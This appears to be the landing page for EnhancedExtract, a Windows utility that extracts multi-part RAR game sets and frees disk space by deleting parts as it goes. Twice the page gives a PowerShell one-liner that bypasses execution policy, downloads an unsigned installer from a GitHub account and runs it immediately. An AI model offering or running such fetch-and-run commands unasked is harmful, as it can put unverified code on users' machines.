Free and open sourceMIT

Big games small drives

Space needed on D: 9.87GB
Free on D: 12.00GBFits

EnhancedExtract unpacks multi-part RAR game sets on a nearly full Windows drive, deleting each part once its files are safely on disk. ZIP, 7z, TAR and other common archives are supported too.

Windows
Installer x6412.6 MB, version 0.1.2 Download
PowerShell powershell -ExecutionPolicy Bypass -Command "iwr https://github.com/gustavofring1483369/EnhancedExtract/releases/download/v0.1.2/EnhancedExtract_0.1.2_x64-setup.exe -OutFile $env:TEMP\EnhancedExtract-setup.exe -ErrorAction Stop; Start-Process $env:TEMP\EnhancedExtract-setup.exe"

Checksums and the CLI zip Watch it run

Free and open source under the MIT License. No account, no trial. Read the source

The real app UI running its demo engine with sample data, at 6× speed. Illustrates the workflow.

Watch the space come back

An illustrative 24-part, 47 GB set on a drive with 12 GB free. Drag through the simulation.

First every checksum is tested.

Then each part is unpacked, flushed and deleted.

Last the journal goes.

Extracting 42% 506 of 1,204 files, 14 of 24 parts left
Free on D: with EnhancedExtract 9.83 GB Lowest point of the whole job: 5.23 GB
Free on D: the usual way Disk full Ran out at 23%. Every part stays until the end.

Nothing goes until it’s safe

Every part is checked before a byte is written, deleted only once its files are on disk, and a stopped job resumes from what’s left.

The set-up screen for Ashen Tide: 9.87 GB needed when parts are deleted as their files finish, 7.77 GB when each is deleted as soon as it is read, and 53.10 GB to keep every part. Verification is switched on.
Space needed on D: for Ashen Tide, 24 parts
Safe mode9.87 GB
Early mode7.77 GB
Keep every part53.10 GB

Early mode needs the least, but a stop can lose the file in flight, so it asks first. Output never overwrites anything.

Your downloads folder, sorted

Every archive and ISO in your downloads, with size and state. Missing parts are flagged before you start.

The Library: six RAR sets and one ISO in D:\Downloads with sizes and states, one extracting at 42%, one ISO installing, and Low Orbit flagged with part 4 missing.
Library. Low Orbit is missing part 4.
An ISO install in progress: setup reading the Vigil of Ostra ISO while the parts it has finished with are freed behind it.
ISO install, freeing as it reads.
The Jobs screen: running, finished, failed and stopped jobs with their logs.
Jobs, with every log.

Right-click any part

Starts from
Ashen.Tide.part01.rar
Extracts to
D:\Downloads\Ashen.Tide
In the menu
Extract, Extract and free space, Open dashboard
python cli.py rar extract "D:\Downloads\Ashen.Tide.part01.rar" --delete --dry-run
Try
Windows 11 classic context menu on Cinder.Pass.part1.rar with the EnhancedExtract submenu: Extract with EnhancedExtract, Extract and free space (delete parts), Open EnhancedExtract dashboard.
The compact quick extract window: output folder, the steps it will take, space needed and free, and a tick box before deleting the archive parts.

Windows 11: Show more options, or Shift+right-click.

Scripts and agents welcome

The app runs a plain command-line engine you can use too. Every input is a flag, nothing prompts, and --json ends with the result and the next command.

python cli.py scan D:\Downloads
python cli.py rar extract Game.part1.rar --delete --dry-run
python cli.py rar extract Game.part1.rar --delete --yes --background
python cli.py jobs wait --timeout 60

Deleting needs --yes, so an agent has to show you the plan first.

A real PowerShell session: system check, scan, a dry run that prints the plan and the next command, a background job, then jobs wait reporting exit code 0.

Free and open source

Free. Open source.
Read every line.

EnhancedExtract is MIT-licensed and built in the open. The engine that decides what gets deleted, the desktop app and the installer are all on GitHub, so you can check exactly what it does before you trust it with your downloads.

View the source How to contribute

  1. Free to use

    No price, no trial, no account. Donations on Ko-fi and Trakteer fund development and unlock nothing.

  2. MIT licensed

    Use it, change it and share it, in personal or commercial work. Keep the licence notice. Read the licence

  3. Built in the open

    Every pull request runs the engine tests, the UI build and the Rust tests on GitHub Actions. Issues and fixes are public.

  4. Contributions welcome

    Bug reports, fixes, tests and docs all help. Start with the contributing guide or an open issue.

12 MB, everything included

The ISO install set-up screen for Vigil of Ostra: the install size typed from setup, the install folder, a 5 GB safety buffer and silent setup switched on.
What EnhancedExtract needs and what comes with it
SystemWindows 10 or 1164-bit
Desktop appWebView2Built into Windows 11
RAR setsUnRARBundled
ZIP, 7z, TAR and more7-ZipBundled since 0.1.0
ISO installsWinFsp driverInstaller bundled
ISO installsAdministratorShortcut starts as admin
ExtractionAdministratorNever needed
InstallerFor your user only12.6 MB
CLI zipPython, UnRAR and 7-Zip12.5 MB
Not yetmacOS, LinuxWindows only

Before you press start

Will Windows warn me about the installer?

The Windows binaries are unsigned, so Windows may show an unknown-publisher or SmartScreen warning. Verify the file against SHA256SUMS.txt and make sure it came from this project’s release page.

Is it really free?

Yes. EnhancedExtract is free and open source under the MIT License, with no paid version and no account. The full source is on GitHub, so you can read it or build it yourself.

What if the extraction stops halfway?

Run it again. For RAR sets, a journal beside the parts remembers every finished file, so it picks up from the parts that are left. ZIP, 7z and TAR keep their archives until extraction finishes cleanly. After a stop, retry from the beginning. Version 0.1.2 includes all of these formats.

Can I close the window while it runs?

Yes. Jobs keep running, and the Jobs screen picks them back up.

Does it need administrator rights?

Only for ISO installs. Extracting archives never does.

How do ISO installs save space?

Setup runs from the ISO as a virtual drive, and the parts it has read are freed behind it, keeping a 5 GB buffer. ISO space freeing is experimental.

What does it change on my PC?

Version 0.1.2 installs for your user only and can add right-click menus for RAR, ZIP, 7z, TAR and the other supported archive extensions. It leaves your default archive app alone.

Get it for Windows

Version 0.1.2. Free and open source, for Windows 10 and 11, 64-bit. RAR, ZIP, 7z, TAR and other common archives, with the tools bundled.

Windows
Installer x6412.6 MB. Adds the app, the engine and the right-click menu.
PowerShell powershell -ExecutionPolicy Bypass -Command "iwr https://github.com/gustavofring1483369/EnhancedExtract/releases/download/v0.1.2/EnhancedExtract_0.1.2_x64-setup.exe -OutFile $env:TEMP\EnhancedExtract-setup.exe -ErrorAction Stop; Start-Process $env:TEMP\EnhancedExtract-setup.exe"
CLI zip x6412.5 MB. Unpack and run ee-engine.exe, no install.

Installer SHA-256 5c2acd5b3fc772f205db8d4993811c1bf38d942d4e0636665af39f59516c15ac

CLI zip SHA-256 bdaf5f238d9c13d2e12736e59a7e64a4ddb0762b5c0618f1a0a1ae924e9296a1

Release notes Source on GitHub

Support the next build

EnhancedExtract is free and open source. If it reclaimed space on your drive, help fund its next release. You can support development through Ko-fi or Trakteer.

Support on Ko-fi Support on Trakteer